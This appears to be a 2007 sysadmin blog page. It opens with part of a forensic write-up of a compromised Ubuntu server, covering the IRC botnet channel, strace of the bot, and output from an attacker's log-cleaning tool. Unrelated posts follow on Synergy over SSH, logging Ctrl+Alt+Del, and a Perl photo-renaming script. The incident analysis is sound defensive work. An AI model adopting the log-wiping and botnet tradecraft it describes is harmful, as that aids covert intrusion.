17:43 [ 578PAB9NL] [ conf] [ jpi ] [ raider ] [ vvo   ] 

17:43 [ brandyz  ] [ IpaL] [ kknd] [ viper42] [ xerkoz] 

17:43 -!- Irssi: #aik: Total of 10 nicks [0 ops, 0 halfops, 0 voices, 10 normal]

17:43 -!- Irssi: Join to #aik was synced in 1 secs

I found my friends server with the nick "578PAB9NB" and some other machines. These zombies are probably just waiting for the attacker to join the channel and give orders. Or perhaps the attacker already are lurking there. All have "* - GTW" at the end of their nick, except one:

17:45 [powertech] -!- IpaL [lm@campus19.panorama.sth.ac.at]

17:45 [powertech] -!-  ircname  : LaPi@IRCNet

17:45 [powertech] -!-  channels : #relaks #ping @#seks #aik @#ogame.pl 

                                  #pingwinaria #hattrick #trade #admin @#!sh 

17:45 [powertech] -!-  server   : *.at [\o\  \o/  /o/]

This is the only nick that also have joined more than one channels. Guess I've found my attacker, unless this is a decoy. (Again: The attacker can't be this stupid?!?) I guess I'll just hang around for a few days just to see if anything interesting comes up. The hostname resolves to:

$ dig +short campus19.panorama.sth.ac.at

193.170.51.84

And according to RIPE this IP-address belongs to Vienna University Computer Center. I asked them ( cert at aco net ) to take a closer look at the hostname in question and got an answer just hours later:

From: Alexander Talos via RT

To: larstra@ifi.uio.no

Subject: Cracker at campus19.panorama.sth.ac.at (193.170.51.84)  [ACOnet CERT #38603]
                                                                    
Date: Fri, 18 May 2007 18:22:43 +0200 (CEST)

Reply-To: cert@aco.net


                                   
-----BEGIN PGP SIGNED MESSAGE----- 

Hash: SHA1


                                                                        
Hej!
                                                                

                  
On Fri May 18 14:45:03 2007, larstra@ifi.uio.no wrote:



> I have been tracking down cracker which connected from

> campus19.panorama.sth.ac.at (193.170.51.84). The user, which



Ouch. panorama.sth.ac.at is a dormitory with about 4k rooms all

behind a NAT gateway - it will be very hard to get hold of the

miscreant.



This incident will, in the long run, definitely help me getting

rid of the NAT boxes in setups like that, but right now, we will 

have to make do with what we have.



> Please investigate the host in question. Perhaps is this a

> compromised host on your network acting as a jumpstation for



Sure, and even in a NATed environment, this is still possible.



Btw, you did a great job in analysing the compromised machine!



I'll let you know when I have either further questions or any

interesting results.



Cheers,



  Alexander Talos



- --

IT-Security, Universitaet Wien, ACOnet CERT

<URL:http://www.univie.ac.at/ZID/security/>

T: +43-1-4277-14351  M: +43-664-60277-14351

No luck there I'm afraid..

Oh, - and I tried to log in using ssh (on port 54098) on all zombies listed here, but no ports where open. The other zombies are probably using other ports for the ssh backdoor.

The other identified network stream, destined to "83.18.74.235" was garbled, so it's time to fire up up strace again:

root@server1:/var/.x/psotnic# strace -f ./smbd conf1 &> /root/dump.strace

As expected, this creates a lot of output. Among other things, it tries to start the irc-client *censormode*X:

[pid  7537] execve("/bin/sh", ["sh", "-c", "*censormode*X -v 2> /dev/null"]

Which fails, since *censormode*X is not installed:

[pid  7537] write(2, "sh: ", 4)         = 4

[pid  7537] write(2, "*censormode*X: not found", 17) = 17

[pid  7537] write(2, "n", 1)           = 1

[pid  7537] close(2)                    = 0

You can see some of the traffic from tcpdump in the picture below:

This was just for one of the two smbd-processes. The other connected to the same polish site, and instead of "irc.powertech.no", it connected to "irc.hitos.no", an IRC-server located in Tromsø. The same zombies are at that channel as well - guess I'll stick around there for a few days as well.

Also, what the cracker did, was to run a program called "hide" to clean entries from various log-files:

root@server1:/usr/lib/libsh# ./hide +

                Linux Hider v2.0 by mave

                enhanced by me!

[+] [Shkupi Logcleaner] Removing + from the logs........ .



[+] /var/log/messages  ... [done]



[+] /var/run/utmp      ... [done]



[+] /var/log/lastlog   ... [done]



[+] /var/log/wtmp      ... [done]



            * m i s s i o n  a c c o m p l i s h e d *



                    p.h.e.e.r  S.H.c.r.e.w



server1:/usr/lib/libsh#

So why did the attacker then wipe out "/var/log/*"? Did he not trust this tool? Did he panicked?

So the box has been compromised, backdoor installed and it's been converted to a zombie. The attacker made several mistakes allowing him to be detected:

Forgot to wipe out root's .bash_history.
Wiped out everything under "/var/log/*", including directories which several programs relied on and thereby refusing to start. Now, why did he do that? This certainly was stupid.
Changed the root-password. Another bummer. Never ever change the root-password. This surely will catch the attention of a sysadmin.
Did not password-protect the IRC-channel where all his zombies resides. Not that it doesn't matter much for us, since we would have sniffed that up as soon as the zombie tried to join the channel.
Do the attacker still hang around the same channel as all his zombies does (the LaPi-guy)? If so he's just begging to be exposed.

Severeal questions remains:

Why was the command "ssh ftp@62.101.251.166" entered? Did the attacker made a mistake in typing this command or did it serve some other purpose? The IP addres resolves to:
```
$ dig +short -x 62.101.251.166

cA6FB653E.dhcp.bluecom.no.
```
What kind of traffic goes to 83.18.74.235 (manhattan.na.pl) ?
And the most important question is, how did he get access in the first time? The server was running Ubuntu 6.06 LTS (i386) and was fairly updated. The compromised could be caused by:
- An exploit unknown to the public.
- A user accessing this server from an already compromised host. The attacker could then sniff the the password.

Synergy - two screens, two OSes

2007-03-15T20:00:00+01:00

At work I need both Windows and Linux. So I've had a KVM switchbox from blackbox to easily switch between Windows and Linux. The KVM switch is showing it's age, since the display has lately become somewhat fuzzy. Recently I received two new LCD screens, and I decided to get rid of the old fuzzy KVM-switch. I wanted to try out Synergy - which enables two or more screens to be connected to different computers using one mouse and keyboard.

It relies on a client/master software to be installed on each computer. The computer where the mouse and keyboard are (physically) connected are the master. The client(s) then talks to the master over the network. When my mouse pointer leaves my Windows screen, it enters my Linux screen to the right seamlessly. The master then sends all mouse and keyboard signals to the correct host. The keyboard follow the mouse, so when my mouse pointer is on Linux so is my keyboard.

You'll get some nice, and a little bizzare, properties like cut'n'paste between Linux and Windows(!). Another nice feature is the ability to "lock" onto one screen by pressing "Scroll Lock".

Installation is a breeze. On Windows it's just click and install. On Linux, synergy can be found in both Fedora and Debian/Ubuntu packet repositories:

 $ apt-get install synergy

My keyboard and mouse are connected to my Widows computer, so that one is master. Linux is client. First I configure Windows and determine where my screens are (Windows to the left, Linux to the right). Then it's just to fire up synergy:

$ synergyc -f -n lin1016 192.168.3.125

INFO: synergyc.cpp,716: Synergy client 1.3.1 on Linux 2.6.18-1.2239.fc5 #1 Fri Nov 10 13:04:06 EST 2006 i686

DEBUG: CXWindowsScreen.cpp,840: XOpenDisplay(":0.0")

DEBUG: CXWindowsScreenSaver.cpp,339: xscreensaver window: 0x00a00001

DEBUG: CXWindowsScreen.cpp,110: screen shape: 0,0 1280x1024

DEBUG: CXWindowsScreen.cpp,111: window is 0x01400004

DEBUG: CScreen.cpp,38: opened display

NOTE: synergyc.cpp,330: started client

Debug messages when leaving and entering Linux:

INFO: CScreen.cpp,116: leaving screen

DEBUG: CXWindowsClipboard.cpp,313: open clipboard 1

DEBUG: CXWindowsClipboard.cpp,348: close clipboard 1

INFO: CScreen.cpp,98: entering screen

Debug messages when leaving Linux, copy something to the Windows clipboard:

INFO: CScreen.cpp,116: leaving screen

DEBUG: CXWindowsClipboard.cpp,313: open clipboard 1

DEBUG: CXWindowsClipboard.cpp,493: ICCCM fill clipboard 1

DEBUG: CXWindowsClipboard.cpp,512:   available targets: TIMESTAMP (386), TEXT (406), 

COMPOUND_TEXT (260), STRING (31), TARGETS (384), LENGTH (468), DELETE (407), FILE_NAME (471), 

CHARACTER_POSITION (472), LINE_NUMBER (473), COLUMN_NUMBER (474), OWNER_OS (467), 

HOST_NAME (475), USER (463), CLASS (464), NAME (465), ATOM (4), INTEGER (19)

DEBUG: CXWindowsClipboard.cpp,555:   added format 0 for target STRING (31) (6 bytes)

DEBUG: CXWindowsClipboard.cpp,348: close clipboard 1

But there is one serious problem with this setup. Every keystroke are transmitted unencrypted between the master and client! So a potential eavesdropper could easily sniff all my password entered on Linux. To prevent that, we can tunnel all synergy traffic through SSH.

So, I download Windows version of OpenSSH server from http://sshwindows.sourceforge.net/. It hasn't been updated in a while, but works nicely here on my Win2K computer. I make sure SSH server automatically starts at boot and tries to log in.

Hm. No login? Time to read some documentation. Ok, here we go: Since SSH are based on Cygwin, it needs to extract user data from AD:

  C:\Program Files\OpenSSH\bin>mkgroup -d ..\etc\group

  C:\Program Files\OpenSSH\bin>mkpasswd -d ..\etc\passwd

Try again. Much better:

$ ssh 192.168.3.125



                            ****USAGE WARNING****



This is a private computer system. This computer system, including all

related equipment, networks, and network devices (specifically including

Internet access) are provided only for authorized use. This computer system

may be monitored for all lawful purposes, including to ensure that its use

is authorized, for management of the system, to facilitate protection against

unauthorized access, and to verify security procedures, survivability, and

operational security. Monitoring includes active attacks by authorized entities

to test or verify the security of this system. During monitoring, information

may be examined, recorded, copied and used for authorized purposes. All

information, including personal information, placed or sent over this system

may be monitored.



Use of this computer system, authorized or unauthorized, constitutes consent

to monitoring of this system. Unauthorized use may subject you to criminal

prosecution. Evidence of unauthorized use collected during monitoring may be

used for administrative, criminal, or other adverse action. Use of this system

constitutes consent to monitoring for these purposes.





nblks1@192.168.3.125's password: 

CMD.EXE was started with '\\XXXXXX\nblks1$' as the current directory path.  

UNC paths are not supported.  Defaulting to Windows directory.

Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-2000 Microsoft Corp.



C:\WINNT>

Great. Now it's just to set up a tunnel and tell synergy to connect to localhost:

$ ssh -f -N -L 24800:192.168.3.125:24800 192.168.3.125

$ synergyc -n lin1016 localhost

INFO: synergyc.cpp,716: Synergy client 1.3.1 on Linux 2.6.18-1.2239.fc5 #1 Fri Nov 10 13:04:06 EST 2006 i686

DEBUG: CXWindowsScreen.cpp,840: XOpenDisplay(":0.0")

DEBUG: CXWindowsScreenSaver.cpp,339: xscreensaver window: 0x00a00001

DEBUG: CXWindowsScreen.cpp,110: screen shape: 0,0 1280x1024 

DEBUG: CXWindowsScreen.cpp,111: window is 0x01400004

DEBUG: CScreen.cpp,38: opened display

NOTE: synergyc.cpp,330: started client

I've enabled both OpenSSH and Synergy to start automatically at boot on Windows. But since I'm tunneling through SSH and other users may use this workspace (and desktops), there no easy way of enabling Synergy automatic without manually typing password. One solution is to use a shared user with ssh-certificates, but neither I nor the security policy permits that. Instead I create a small script that fires up the ssh tunnel and synergy at login. Since it's called from ".xsession" it do need a keyboard on my Linux to type the SSH password - but I can live with that:

$ cat ~/bin/syn.sh

#/bin/sh

xhost +localhost

echo "Setting up ssh-tunnel"

ssh -f -N -L 24800:192.168.3.125:24800 192.168.3.125

echo "Starting synergy"

synergyc -n lin1016 localhost

echo "Remember to shut down the ssh tunnel before you log out!"

sleep 5

$ cat ~/.xsession

...

~/bin/syn.sh

...

Log and disabling Ctrl+Alt+Del

2007-03-12T20:48:00+01:00

In a server rack, one console are usually shared by several different servers. One rack may contain servers belonging to different departments. One of those departments are usually doomed to have one trigger happy sysadmin. This sysadmin may reboot the wrong server accidentally using Ctrl+Alt+Del. Ever been exposed to one of those? Luckily, it easy to disable Ctrl+Alt+Del on Linux. On Linux, "/etc/inittab" defines what should be done when Ctrl+Alt+Del are pressed. Usually, the file contains something like this:

$ cat /etc/inittab

...

# What to do when CTRL-ALT-DEL is pressed.

ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now

...

So, in runlevel 1-5, the command "shutdown" is to be executed when someone press Ctrl+Alt+Del. It could be changed to anything we'd like. We would like to log the incident and issue a warning to the user on the console:

ca:12345:ctrlaltdel:/usr/bin/logger -t init -s "Ctrl+Alt+Del pressed on console. Use normal shutdown routines."

When someone now tries the "three finger salute", they'll be told to use "normal shutdown routines". The incident are also logged:

# tail -1 /var/log/messages

Mar 12 20:50:19 titan INIT: Ctrl+Alt+Del pressed on console. Use normal shutdown routines.

Update! - Newer Ubuntu uses Upstart and things are a little different. You don't define what action to be taken in /etc/inittab (it no longer exists), but we have to modify a file in /etc/event.d/:

# cat /etc/event.d/control-alt-delete

# control-alt-delete - emergency keypress handling

#

# This task is run whenever the Control-Alt-Delete key combination is

# pressed.  Usually used to shut down the machine.



start on control-alt-delete



#exec /sbin/shutdown -r now "Control-Alt-Delete pressed"

/usr/bin/logger -t init -s "Ctrl+Alt+Del pressed on console. Use normal shutdown routines."

Sort pictures based on Exif date

2007-03-05T19:39:00+01:00

Recently, I bumped into a problem: I had received pictures from same event from three different sources (cameras). How could I sort these based on when the pictures were taken? A small Perl script are born to the rescue. The program "jhead" dumps Exif data contained in JPEG images. Running jhead on a image without options gives:

$ jhead IMG_1195.JPG

File name    : IMG_1195.JPG

File size    : 2988387 bytes

File date    : 2007:03:04 15:37:34

Camera make  : Canon

Camera model : Canon DIGITAL IXUS 800 IS

Date/Time    : 2007:02:22 19:17:14

Resolution   : 2816 x 2112

Flash used   : Yes (auto)

Focal length :  5.8mm  (35mm equivalent: 37mm)

CCD width    : 5.72mm

Exposure time: 0.017 s  (1/60)

Aperture     : f/2.8

Whitebalance : Auto

Metering Mode: matrix

The "Date/Time" header gives the time stamp. Renaming the file to the date, would make it easy to sort the pictures in time based on filename:

IMG_1195.JPG --> 20070222_191714.jpg

Instead of manually renaming a couple of hundred images, Perl can do the job:

#!/usr/bin/perl -w

#

# filename: exif_date_sort.pl

#

# Small utility that renames pictures based on the Exif date.

#

# Date: Sun Mar  4 19:13:42 CET 2007

#

# Lars Strand

#

use strict;

use File::Glob qw(:globally :nocase);

use File::Copy;



die "Usage: $0 PATH" if $#ARGV < 0;



while (@ARGV) {

    my @filelist = glob($ARGV[0]."*.jpg");

    foreach my $file (@filelist) {

        for my $line (`jhead "$file"`) {

            if ($line =~ /^Date\/Time\s*:\s*(\d+):(\d+):(\d+)\s*(\d+):(\d+):(\d+)/) {

                print "$file --> $1$2$3_$4$5$6.jpg\n";

                copy("$file", "$1$2$3_$4$5$6.jpg") or die "Error: Copy failed: $!";

            }

        }

    }

    shift @ARGV;

}

The script takes one or more directories as argument. Every JPG file that has a Exif date header, are copied to a new "date-filename".

Running it gives the following output:

$ ~/exif_date_sort.pl 200702-Veggli/

200702-Veggli/IMG_1196.JPG --> 20070222_194000.jpg

200702-Veggli/IMG_1197.JPG --> 20070222_194007.jpg

200702-Veggli/IMG_1198.JPG --> 20070222_194012.jpg

200702-Veggli/IMG_1200.JPG --> 20070222_194437.jpg

200702-Veggli/IMG_1201.JPG --> 20070222_194443.jpg

200702-Veggli/IMG_1202.JPG --> 20070222_194643.jpg

200702-Veggli/IMG_1203.JPG --> 20070222_194844.jpg

...